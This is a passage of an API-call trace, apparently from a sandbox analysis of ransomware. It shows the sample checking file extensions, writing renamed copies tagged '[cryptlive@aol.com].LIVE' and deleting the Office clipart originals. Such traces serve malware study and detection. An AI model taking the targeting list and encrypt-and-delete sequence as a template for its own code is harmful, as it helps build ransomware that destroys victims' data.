office\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0143.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0143.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0143.467] lstrlenW (lpString=".doc") returned 4 [0143.467] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.467] lstrlenW (lpString=".docx") returned 5 [0143.467] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.468] lstrlenW (lpString=".pdf") returned 4 [0143.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.468] lstrlenW (lpString=".xls") returned 4 [0143.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.468] lstrlenW (lpString=".xlsx") returned 5 [0143.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.468] lstrlenW (lpString=".ppt") returned 4 [0143.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0143.468] lstrlenW (lpString=".zip") returned 4 [0143.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.468] lstrlenW (lpString=".rar") returned 4 [0143.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.468] lstrlenW (lpString=".bz2") returned 4 [0143.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.468] lstrlenW (lpString=".7z") returned 3 [0143.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0143.468] lstrlenW (lpString=".dbf") returned 4 [0143.468] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0143.468] lstrlenW (lpString=".1cd") returned 4 [0143.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0143.468] lstrlenW (lpString=".jpg") returned 4 [0143.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0143.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0143.469] lstrlenW (lpString=".doc") returned 4 [0143.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.469] lstrlenW (lpString=".docx") returned 5 [0143.469] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.469] lstrlenW (lpString=".pdf") returned 4 [0143.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.469] lstrlenW (lpString=".xls") returned 4 [0143.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.469] lstrlenW (lpString=".xlsx") returned 5 [0143.469] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.469] lstrlenW (lpString=".ppt") returned 4 [0143.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0143.469] lstrlenW (lpString=".zip") returned 4 [0143.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.469] lstrlenW (lpString=".rar") returned 4 [0143.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.469] lstrlenW (lpString=".bz2") returned 4 [0143.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.469] lstrlenW (lpString=".7z") returned 3 [0143.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0143.469] lstrlenW (lpString=".dbf") returned 4 [0143.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0143.469] lstrlenW (lpString=".1cd") returned 4 [0143.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0143.469] lstrlenW (lpString=".jpg") returned 4 [0143.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.469] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.470] lstrlenW (lpString="FD00428_.WMF") returned 12 [0143.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.470] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4796) returned 1 [0143.470] CloseHandle (hObject=0x384) returned 1 [0143.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x20 [0143.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.471] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.471] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.472] GetLastError () returned 0x0 [0143.472] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x12bc, lpOverlapped=0x0) returned 1 [0143.473] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x12c0, lpOverlapped=0x0) returned 1 [0143.474] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.474] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.474] SetEndOfFile (hFile=0x388) returned 1 [0143.474] CloseHandle (hObject=0x388) returned 1 [0143.475] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.475] SetEndOfFile (hFile=0x384) returned 1 [0143.477] CloseHandle (hObject=0x384) returned 1 [0143.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0143.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0143.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0143.478] lstrlenW (lpString=".doc") returned 4 [0143.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.478] lstrlenW (lpString=".docx") returned 5 [0143.478] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.478] lstrlenW (lpString=".pdf") returned 4 [0143.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.478] lstrlenW (lpString=".xls") returned 4 [0143.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.478] lstrlenW (lpString=".xlsx") returned 5 [0143.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.478] lstrlenW (lpString=".ppt") returned 4 [0143.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0143.478] lstrlenW (lpString=".zip") returned 4 [0143.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.478] lstrlenW (lpString=".rar") returned 4 [0143.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.478] lstrlenW (lpString=".bz2") returned 4 [0143.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.478] lstrlenW (lpString=".7z") returned 3 [0143.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0143.478] lstrlenW (lpString=".dbf") returned 4 [0143.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0143.478] lstrlenW (lpString=".1cd") returned 4 [0143.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0143.478] lstrlenW (lpString=".jpg") returned 4 [0143.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0143.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0143.479] lstrlenW (lpString=".doc") returned 4 [0143.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.479] lstrlenW (lpString=".docx") returned 5 [0143.479] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.479] lstrlenW (lpString=".pdf") returned 4 [0143.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.479] lstrlenW (lpString=".xls") returned 4 [0143.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.479] lstrlenW (lpString=".xlsx") returned 5 [0143.479] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.479] lstrlenW (lpString=".ppt") returned 4 [0143.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0143.479] lstrlenW (lpString=".zip") returned 4 [0143.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.479] lstrlenW (lpString=".rar") returned 4 [0143.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.479] lstrlenW (lpString=".bz2") returned 4 [0143.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.479] lstrlenW (lpString=".7z") returned 3 [0143.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0143.479] lstrlenW (lpString=".dbf") returned 4 [0143.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0143.479] lstrlenW (lpString=".1cd") returned 4 [0143.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0143.479] lstrlenW (lpString=".jpg") returned 4 [0143.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.479] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.479] lstrlenW (lpString="FD00435_.WMF") returned 12 [0143.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.480] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2108) returned 1 [0143.481] CloseHandle (hObject=0x384) returned 1 [0143.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x20 [0143.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.481] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.481] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.482] GetLastError () returned 0x0 [0143.482] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x83c, lpOverlapped=0x0) returned 1 [0143.483] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x840, lpOverlapped=0x0) returned 1 [0143.484] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.484] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.484] SetEndOfFile (hFile=0x388) returned 1 [0143.485] CloseHandle (hObject=0x388) returned 1 [0143.485] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.485] SetEndOfFile (hFile=0x384) returned 1 [0143.487] CloseHandle (hObject=0x384) returned 1 [0143.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0143.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0143.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0143.488] lstrlenW (lpString=".doc") returned 4 [0143.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.488] lstrlenW (lpString=".docx") returned 5 [0143.488] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.488] lstrlenW (lpString=".pdf") returned 4 [0143.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.488] lstrlenW (lpString=".xls") returned 4 [0143.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.488] lstrlenW (lpString=".xlsx") returned 5 [0143.488] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.488] lstrlenW (lpString=".ppt") returned 4 [0143.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0143.489] lstrlenW (lpString=".zip") returned 4 [0143.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.489] lstrlenW (lpString=".rar") returned 4 [0143.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.489] lstrlenW (lpString=".bz2") returned 4 [0143.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.489] lstrlenW (lpString=".7z") returned 3 [0143.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0143.489] lstrlenW (lpString=".dbf") returned 4 [0143.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0143.489] lstrlenW (lpString=".1cd") returned 4 [0143.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0143.489] lstrlenW (lpString=".jpg") returned 4 [0143.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0143.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0143.489] lstrlenW (lpString=".doc") returned 4 [0143.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.489] lstrlenW (lpString=".docx") returned 5 [0143.489] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.489] lstrlenW (lpString=".pdf") returned 4 [0143.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.489] lstrlenW (lpString=".xls") returned 4 [0143.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.489] lstrlenW (lpString=".xlsx") returned 5 [0143.489] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.489] lstrlenW (lpString=".ppt") returned 4 [0143.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0143.489] lstrlenW (lpString=".zip") returned 4 [0143.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.489] lstrlenW (lpString=".rar") returned 4 [0143.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.490] lstrlenW (lpString=".bz2") returned 4 [0143.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.490] lstrlenW (lpString=".7z") returned 3 [0143.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0143.490] lstrlenW (lpString=".dbf") returned 4 [0143.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0143.490] lstrlenW (lpString=".1cd") returned 4 [0143.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0143.490] lstrlenW (lpString=".jpg") returned 4 [0143.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.490] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.490] lstrlenW (lpString="FD00438_.WMF") returned 12 [0143.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.491] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=5098) returned 1 [0143.491] CloseHandle (hObject=0x384) returned 1 [0143.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x20 [0143.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.491] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.491] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.492] GetLastError () returned 0x0 [0143.492] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x13ea, lpOverlapped=0x0) returned 1 [0143.701] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x13f0, lpOverlapped=0x0) returned 1 [0143.702] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.702] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.702] SetEndOfFile (hFile=0x388) returned 1 [0143.702] CloseHandle (hObject=0x388) returned 1 [0143.703] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.703] SetEndOfFile (hFile=0x384) returned 1 [0143.705] CloseHandle (hObject=0x384) returned 1 [0143.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0143.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0143.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0143.721] lstrlenW (lpString=".doc") returned 4 [0143.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.721] lstrlenW (lpString=".docx") returned 5 [0143.721] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.721] lstrlenW (lpString=".pdf") returned 4 [0143.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.722] lstrlenW (lpString=".xls") returned 4 [0143.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.722] lstrlenW 